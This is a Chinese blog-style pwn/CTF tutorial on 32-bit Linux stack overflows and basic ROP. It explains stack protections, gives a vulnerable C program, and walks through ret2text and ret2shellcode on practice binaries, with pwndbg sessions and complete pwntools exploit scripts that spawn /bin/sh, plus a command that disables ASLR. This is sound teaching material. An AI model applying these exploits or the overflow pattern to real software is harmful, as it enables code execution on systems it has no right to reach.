【PWN】03.Linux-User Mode-栈溢出-x86-基本ROP

1 保护和溢出

1.1 检查保护情况

1.1.1 CANNARY(栈保护)

栈溢出保护是一种缓冲区溢出攻击缓解手段。当启用栈保护后,函数开始执行的时候会先往栈里插入cookie信息,当函数真正返回的时候会验证cookie信息是否合法,如果不合法就停止程序运行。攻击者在覆盖返回地址的时候往往也会将cookie信息给覆盖掉,导致栈保护检查失败而阻止shellcode的执行。在Linux中我们将cookie信息称为canary。

在编译时可以控制是否开启栈保护以及程度,例如:

gcc -fno-stack-protector -o test test.c  //禁用栈保护

gcc -no-pie -fno-stack-protector -m32 -o test test.c//关闭pie与堆栈保护

gcc -fstack-protector -o test test.c  //启用堆栈保护,不过只为局部变量中含有 char 数组的函数插入保护代码

gcc -fstack-protector-all -o test test.c //启用堆栈保护,为所有函数插入保护代码

1.1.2 FORTIFY

1.1.3 NX

NX即No-eXecute(不可执行),NX的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。

gcc编译器默认开启了NX选项,如果需要关闭NX选项,可以给gcc编译器添加-z execstack参数。

例如:

gcc -z execstack -o test test.c

1.1.4 PIE内存地址随机化机制(ASLR)

PIE内存地址随机化机制(ASLR, address space layout randomization)。一般情况下NX(Windows平台上称其为DEP)和地址空间分布随机化(ASLR)会同时工作。

可以防范基于Ret2libc方式的针对DEP的攻击。ASLR和DEP配合使用,能有效阻止攻击者在堆栈上运行恶意代码。

liunx下关闭PIE的命令如下:

sudo -s echo 0 > /proc/sys/kernel/randomize_va_space

1.1.5 RELRO

gcc -no-pie -fno-stack-protector -z execstack -m32 -o read read.c

1.2 程序的各段

BSS段:用来存放程序中未初始化的全局变量的一块内存区域,属于静态内存分配。(在溢出时eip的值可以是BSS段的地址)

Data段:用来存放程序中已初始化的全局变量的一块内存区域,属于静态内存分配。

Text段:用来存放程序执行代码的一块内存区域,称为代码段。

rodata段:存放C中的字符串和#define定义的常量

-------------------------------------------------------------------------------------------------

#include <stdio.h>

void exploit(){
	system("/bin/sh");
}

void func(){
	char str[0x20];
	read(0,str,0x50);
}

int main(){
	func();
	return 0;
}

1.编译

编译时关闭栈保护:gcc -no-pie -fno-stack-protector -z execstack -m32 -o xxx xxx.c

2.查看权限:checksec xxx

3.进入pwndbg:gdb hello

查看函数:objdump -t -j .text hello

4.关注func函数,查看之:disass func

分析

5.退出pwndbg:q

6.用python写exp:vi exp.py

from pwn import *    //导入pwn包
p=process("./read")    //建立一个进程(在同一个路径下这么写,进程的名称是read,p是返回进程的句柄)
//远程连接时写成 p=remote('xxx',000)

句柄详见:进程的句柄,PID及线程_hs5570的博客-CSDN博客_进程句柄

offset = 0x28 + 0x4    
//offset为偏移,esp加0x28到了(下面是)ebp,再加0x4到了(下面是)ret(返回地址)
payload = 'a' * offset + 目标地址,如32位地址:str(p32(0x...))
//payload可以理解为需要的数据,用a覆盖了offset的空间,目标地址覆盖了返回地址
//0x...为exploit函数的地址,通过disass exploit查看
//也可以写成 payload = b'a' * offset + 目标地址,如32位地址:p32(0x...)

p.sendline(payload)        //发送数据,payload为发送内容

p.interactive()        //获取运行环境

7.保存并运行之:python3 exp.py

2 ROP介绍

随着 NX (Non-eXecutable) 保护的开启,传统的直接向栈或者堆上直接注入代码的方式难以继续发挥效果,由此攻击者们也提出来相应的方法来绕过保护。

目前被广泛使用的攻击手法是 返回导向编程 (Return Oriented Programming),其主要思想是在 栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。

gadgets 通常是以 ret 结尾的指令序列,通过这样的指令序列,我们可以多次劫持程序控制流,从而运行特定的指令序列,以完成攻击的目的。

返回导向编程这一名称的由来是因为其核心在于利用了指令集中的 ret 指令,从而改变了指令流的执行顺序,并通过数条 gadget “执行” 了一个新的程序。

使用 ROP 攻击一般得满足如下条件:

  • 程序漏洞允许我们劫持控制流,并控制后续的返回地址。

  • 可以找到满足条件的 gadgets 以及相应 gadgets 的地址。

作为一项基本的攻击手段,ROP 攻击并不局限于栈溢出漏洞,也被广泛应用在堆溢出等各类漏洞的利用当中。

需要注意的是,现代操作系统通常会开启地址随机化保护(ASLR),这意味着 gadgets 在内存中的位置往往是不固定的。但幸运的是其相对于对应段基址的偏移通常是固定的,因此我们在寻找到了合适的 gadgets 之后可以通过其他方式泄漏程序运行环境信息,从而计算出 gadgets 在内存中的真正地址。

--------------------------------------------------------------------------------------------

通过栈溢出修改栈上的返回地址,这样cpu执行ret指令的时候,就会将被修改的值从栈上取出放入eip寄存器中,紧接着执行eip所指向的位置的指令,这样就相当于控制了程序的执行流。

没有canary保护,可以利用填充垃圾数据来修改返回地址。

--------------------------------------------------------------------------------------------

如何确定栈溢出所需要的垃圾数据长度?

通过ida可以观察出来,但有时结果不太准确,与动态调试的结果不同(有时候动态调试结果也不太准确,一般以动态调试结果为准,也可以动态调试结果和ida结果分别尝试一次)。

快速定位非法地址:

pwndbg:

cyclic 整数(整数不要太短):出现一堆字符,复制并输入至程序中,找到非法地址0xxxxxx

cyclic -l 0xxxxxx

得到的数据即为输入点到ret的距离

peda:

pattern create 整数

如果成功,程序会返回一段非法地址        //若未返回地址,而是停在ret,则取栈顶前四个字节

pattern offset 0xxxxxx                                //pattern offset AAAA

获得了偏移

2.1 ret2text

原理

ret2text 即控制程序执行程序本身已有的的代码 (即, .text 段中的代码) 。其实,这种攻击方法是一种笼统的描述。我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码 (也就是 gadgets),这就是我们所要说的 ROP。

这时,我们需要知道对应返回的代码的位置。当然程序也可能会开启某些保护,我们需要想办法去绕过这些保护。

--------------------------------------------------------------------------------------------

找system函数

(1)找到system函数的地址:

(2)通过地址找到对应汇编代码:

objdump -d -M intel ret2text

想知道0x8048763内容:

gdb ret2text

x/s 0xxxxxx

存放的是目标内容

--------------------------------------------------------------------------------------------

例1

其实,在栈溢出的基本原理中,我们已经介绍了这一简单的攻击。在这里,我们再给出另外一个例子,bamboofox 中介绍 ROP 时使用的 ret2text 的例子。

点击下载: ret2text

首先,查看一下程序的保护机制:

可以看出程序是 32 位程序,且仅开启了栈不可执行保护。接下来我们使用 IDA 反编译该程序:

可以看出程序在主函数中使用了 gets 函数,显然存在栈溢出漏洞。接下来查看反汇编代码:

在 secure 函数又发现了存在调用 system("/bin/sh") 的代码,那么如果我们直接控制程序返回至 0x0804863A ,那么就可以得到系统的 shell 了。

下面就是我们如何构造 payload 了,首先需要确定的是 我们能够控制的内存的起始地址 距离 main 函数的返回地址的字节数。

1. 计算esp+80h+s的值(esp+80h+s是局部字符数组 s 的地址),将这个地址放入eax;

2. 将eax的值放入esp寄存器指向的地址,即栈顶。

所以现在栈顶存储了 s 的地址。

3. 调用gets函数

  • gets 的参数是栈顶值(即 s 的地址)。

  • 危险操作gets 不会检查输入长度,可能导致 s 缓冲区溢出(若输入超过 s 的大小)。

可以看到s相对于 esp 的索引为 esp+0x1c。

由于,我们需要知道s相对于ebp的距离,所以我们可以调试来知道esp与ebp的地址,从而计算出s相对于ebp的距离。

 gdb ret2text
GNU gdb (Ubuntu 12.1-0ubuntu1~22.04) 12.1
Copyright (C) 2022 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...

warning: ~/pwndbg/pwndbg-dev/pwndbg-dev/gdbinit.py: No such file or directory
pwndbg: loaded 151 pwndbg commands and 47 shell commands. Type pwndbg [--shell | --all] [filter] for a list.
pwndbg: created $rebase, $ida GDB functions (can be used with print/break)
Reading symbols from ret2text...
------- tip of the day (disable with set show-tips off) -------
Use GDB's pi command to run an interactive Python console where you can use Pwndbg APIs like pwndbg.gdblib.memory.read(addr, len), pwndbg.gdblib.memory.write(addr, data), pwndbg.gdb.vmmap.get() and so on!
pwndbg> b *0x080486AE
Breakpoint 1 at 0x80486ae: file ret2text.c, line 24.
pwndbg> r
Starting program: /mnt/hgfs/share/ret2text 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
There is something amazing here, do you know anything?

Breakpoint 1, 0x080486ae in main () at ret2text.c:24
24	ret2text.c: No such file or directory.
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────
*EAX  0xffffcf1c —▸ 0xf7fc66d0 ◂— 0xe
*EBX  0xf7fa1000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac
*ECX  0xf7fa29b4 (_IO_stdfile_1_lock) ◂— 0x0
*EDX  0x1
*EDI  0xf7ffcb80 (_rtld_global_ro) ◂— 0x0
*ESI  0xffffd044 —▸ 0xffffd23d ◂— '/mnt/hgfs/share/ret2text'
*EBP  0xffffcf88 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 ◂— 0x0
*ESP  0xffffcf00 —▸ 0xffffcf1c —▸ 0xf7fc66d0 ◂— 0xe
*EIP  0x80486ae (main+102) —▸ 0xfffdade8 ◂— 0xfffdade8
───────────────────────────────────────────[ DISASM / i386 / set emulate on ]───────────────────────────────────────────
 ► 0x80486ae <main+102>    call   gets@plt                     <gets@plt>
        arg[0]: 0xffffcf1c —▸ 0xf7fc66d0 ◂— 0xe
        arg[1]: 0x0
        arg[2]: 0x1
        arg[3]: 0x0
 
   0x80486b3 <main+107>    mov    dword ptr [esp], 0x80487a4
   0x80486ba <main+114>    call   printf@plt                     <printf@plt>
 
   0x80486bf <main+119>    mov    eax, 0
   0x80486c4 <main+124>    leave  
   0x80486c5 <main+125>    ret    
 
   0x80486c6               nop    
   0x80486c8               nop    
   0x80486ca               nop    
   0x80486cc               nop    
   0x80486ce               nop    
───────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────
00:0000│ esp 0xffffcf00 —▸ 0xffffcf1c —▸ 0xf7fc66d0 ◂— 0xe
01:0004│-084 0xffffcf04 ◂— 0x0
02:0008│-080 0xffffcf08 ◂— 0x1
03:000c│-07c 0xffffcf0c ◂— 0x0
04:0010│-078 0xffffcf10 —▸ 0xf7fc4570 (__kernel_vsyscall) ◂— push ecx
05:0014│-074 0xffffcf14 ◂— 0xffffffff
06:0018│-070 0xffffcf18 —▸ 0x8048034 ◂— push es
07:001c│ eax 0xffffcf1c —▸ 0xf7fc66d0 ◂— 0xe
─────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────
 ► 0 0x80486ae main+102
   1 0xf7d98519 __libc_start_call_main+121
   2 0xf7d985f3 __libc_start_main+147
   3 0x8048521 _start+33
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> 

esp:0xffffcf00

ebp:0xffffcf88

s距离ebp: ebp - (esp+0x1c) = 0x6c

s距离返回地址:0x6c + 4

因此最后的 payload 如下:

##!/usr/bin/env python
from pwn import *

sh = process('./ret2text')
target = 0x804863a
sh.sendline(b'A' * (0x6c + 4) + p32(target))
sh.interactive()

2.2 ret2shellcode

原理

ret2shellcode,即控制程序执行 shellcode 代码。shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell。通常情况下,shellcode 需要我们自行编写,即此时我们需要自行向内存中填充一些可执行的代码

在栈溢出的基础上,要想执行 shellcode,需要对应的 binary 在运行时,shellcode 所在的区域具有可执行权限。

需要注意的是,在新版内核当中引入了较为激进的保护策略,程序中通常不再默认有同时具有可写与可执行的段,这使得传统的 ret2shellcode 手法不再能直接完成利用

-------------------------------------------------------------------------------------------------

例1

这里我们以 bamboofox 中的 ret2shellcode 为例,需要注意的是,你应当在内核版本较老的环境中进行实验(如 Ubuntu 18.04 或更老版本)。由于容器环境间共享同一内核,因此这里我们无法通过 docker 完成环境搭建。

点击下载: ret2shellcode

首先检测程序开启的保护:

可以看出源程序几乎没有开启任何保护,并且有可读,可写,可执行段。接下来我们再使用 IDA 对程序进行反编译:

可以看出,程序仍然是基本的栈溢出漏洞,不过这次还同时将对应的字符串复制到 buf2 处。简单查看可知 buf2 在 bss 段。

这时,我们简单的调试下程序,看看这一个 bss 段是否可执行。

(思路:如果可执行,在gets函数获取自己编写的shellcode放入栈上的s处,顺便一直覆盖到返回地址,将main的返回地址覆盖成buf2的内存地址处。然后strncpy会将s处的shellcode放入buf2,在main返回时跳到buf2处执行shellcode。)

pwndbg> b main
Breakpoint 1 at 0x8048536: file ret2shellcode.c, line 8.
pwndbg> r
Starting program: /mnt/hgfs/share/ret2shellcode 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main () at ret2shellcode.c:8
8	ret2shellcode.c: No such file or directory.
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────
*EAX  0x804852d (main) ◂— push ebp
*EBX  0xf7fa1000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac
*ECX  0x20c7ce8c
*EDX  0xffffcfa0 —▸ 0xf7fa1000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac
*EDI  0xf7ffcb80 (_rtld_global_ro) ◂— 0x0
*ESI  0xffffd034 —▸ 0xffffd22e ◂— '/mnt/hgfs/share/ret2shellcode'
*EBP  0xffffcf78 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 ◂— 0x0
*ESP  0xffffcef0 ◂— 0x0
*EIP  0x8048536 (main+9) ◂— mov eax, dword ptr [0x804a060]
───────────────────────────────────────────[ DISASM / i386 / set emulate on ]───────────────────────────────────────────
 ► 0x8048536 <main+9>     mov    eax, dword ptr [0x804a060]
   0x804853b <main+14>    mov    dword ptr [esp + 0xc], 0
   0x8048543 <main+22>    mov    dword ptr [esp + 8], 2
   0x804854b <main+30>    mov    dword ptr [esp + 4], 0
   0x8048553 <main+38>    mov    dword ptr [esp], eax
   0x8048556 <main+41>    call   setvbuf@plt                     <setvbuf@plt>
 
   0x804855b <main+46>    mov    eax, dword ptr [stdin@@GLIBC_2.0] <0x804a040>
   0x8048560 <main+51>    mov    dword ptr [esp + 0xc], 0
   0x8048568 <main+59>    mov    dword ptr [esp + 8], 1
   0x8048570 <main+67>    mov    dword ptr [esp + 4], 0
   0x8048578 <main+75>    mov    dword ptr [esp], eax
───────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────
00:0000│ esp 0xffffcef0 ◂— 0x0
01:0004│-084 0xffffcef4 ◂— 0x1
02:0008│-080 0xffffcef8 —▸ 0xf7ffda40 ◂— 0x0
03:000c│-07c 0xffffcefc —▸ 0xf7ffd000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x36f2c
04:0010│-078 0xffffcf00 —▸ 0xf7fc4570 (__kernel_vsyscall) ◂— push ecx
05:0014│-074 0xffffcf04 ◂— 0xffffffff
06:0018│-070 0xffffcf08 —▸ 0x8048034 ◂— push es
07:001c│-06c 0xffffcf0c —▸ 0xf7fc66d0 ◂— 0xe
─────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────
 ► 0 0x8048536 main+9
   1 0xf7d98519 __libc_start_call_main+121
   2 0xf7d985f3 __libc_start_main+147
   3 0x8048451 _start+33
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
     Start        End Perm     Size Offset File
 0x8048000  0x8049000 r-xp     1000      0 /mnt/hgfs/share/ret2shellcode
 0x8049000  0x804a000 r--p     1000      0 /mnt/hgfs/share/ret2shellcode
 0x804a000  0x804b000 rw-p     1000   1000 /mnt/hgfs/share/ret2shellcode
0xf7d77000 0xf7d97000 r--p    20000      0 /usr/lib/i386-linux-gnu/libc.so.6
0xf7d97000 0xf7f19000 r-xp   182000  20000 /usr/lib/i386-linux-gnu/libc.so.6
0xf7f19000 0xf7f9e000 r--p    85000 1a2000 /usr/lib/i386-linux-gnu/libc.so.6
0xf7f9e000 0xf7f9f000 ---p     1000 227000 /usr/lib/i386-linux-gnu/libc.so.6
0xf7f9f000 0xf7fa1000 r--p     2000 227000 /usr/lib/i386-linux-gnu/libc.so.6
0xf7fa1000 0xf7fa2000 rw-p     1000 229000 /usr/lib/i386-linux-gnu/libc.so.6
0xf7fa2000 0xf7fac000 rw-p     a000      0 [anon_f7fa2]
0xf7fbe000 0xf7fc0000 rw-p     2000      0 [anon_f7fbe]
0xf7fc0000 0xf7fc4000 r--p     4000      0 [vvar]
0xf7fc4000 0xf7fc6000 r-xp     2000      0 [vdso]
0xf7fc6000 0xf7fc7000 r--p     1000      0 /usr/lib/i386-linux-gnu/ld-linux.so.2
0xf7fc7000 0xf7fec000 r-xp    25000   1000 /usr/lib/i386-linux-gnu/ld-linux.so.2
0xf7fec000 0xf7ffb000 r--p     f000  26000 /usr/lib/i386-linux-gnu/ld-linux.so.2
0xf7ffb000 0xf7ffd000 r--p     2000  34000 /usr/lib/i386-linux-gnu/ld-linux.so.2
0xf7ffd000 0xf7ffe000 rw-p     1000  36000 /usr/lib/i386-linux-gnu/ld-linux.so.2
0xfffdd000 0xffffe000 rwxp    21000      0 [stack]
pwndbg> 

通过 vmmap,我们可以看到 bss 段对应的段是否具有可执行权限: 

我这里用的是ubuntu22.04环境,看到 bss 段对应的段无可执行权限。

教程示例的环境看到 bss 段对应的段有可执行权限。

0x0804a000 0x0804b000 0x00001000 rwx /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode

那么可以控制程序执行 shellcode,也就是读入 shellcode,然后控制程序执行 bss 段处的 shellcode。其中,相应的偏移计算类似于 ret2text 中的例子。

可以看到s相对于esp偏移。

从下图看到,程序即将执行gets函数时,寄存器的状态。

s与esp相距0x1c
-> s:0xffffcef0 + 0x1c = 0xffffcf0c
-> s与ebp相距:0xffffcf78-0xffffcf0c = 6c

6c转换为十进制为108,108 + 4 = 112

最后的 payload 如下:

#!/usr/bin/env python
from pwn import *

sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080

sh.sendline(shellcode.ljust(112, b'A') + p32(buf2_addr))
sh.interactive()
  1. #!/usr/bin/env python
    • Shebang 行,指定用系统的 Python 解释器执行该脚本
  2. from pwn import *
    • 导入 pwntools 模块的完整功能集,包含进程操作、shellcode 生成等工具
  3. sh = process('./ret2shellcode')
    • 启动名为 ret2shellcode 的可执行文件,返回进程对象 sh
    • 相当于在命令行执行 ./ret2shellcode
  4. shellcode = asm(shellcraft.sh())
    • 使用 shellcraft 模块生成执行 /bin/sh 的 shellcode
    • asm() 函数将 shellcode 转换为机器码(二进制格式)
  5. buf2_addr = 0x804a080
    • 定义缓冲区地址 0x804a080(需通过调试或信息泄漏获取)
    • 该地址指向存放 shellcode 的内存位置
  6. sh.sendline(shellcode.ljust(112, b'A') + p32(buf2_addr))
    • 构造 payload 并发送给目标进程:
      • shellcode.ljust(112, b'A'):将 shellcode 用 'A' 填充到 112 字节
      • p32(buf2_addr):将地址转换为 4 字节小端格式(x86 架构)
      • 总长度 = 112 + 4 = 116 字节(覆盖缓冲区+返回地址)
  7. sh.interactive()
    • 进入交互模式,将标准输入输出重定向到目标进程
    • 成功执行 shellcode 后,用户将获得目标程序的 shell 权限

漏洞利用原理:

  1. 通过缓冲区溢出覆盖返回地址
  2. 将返回地址指向存放 shellcode 的内存位置(buf2_addr)
  3. 程序执行返回到 shellcode 处,执行 /bin/sh 获得系统 shell

posted @ 2021-11-23 00:55  轻闲一号机  阅读(19)  评论(0)    收藏  举报  来源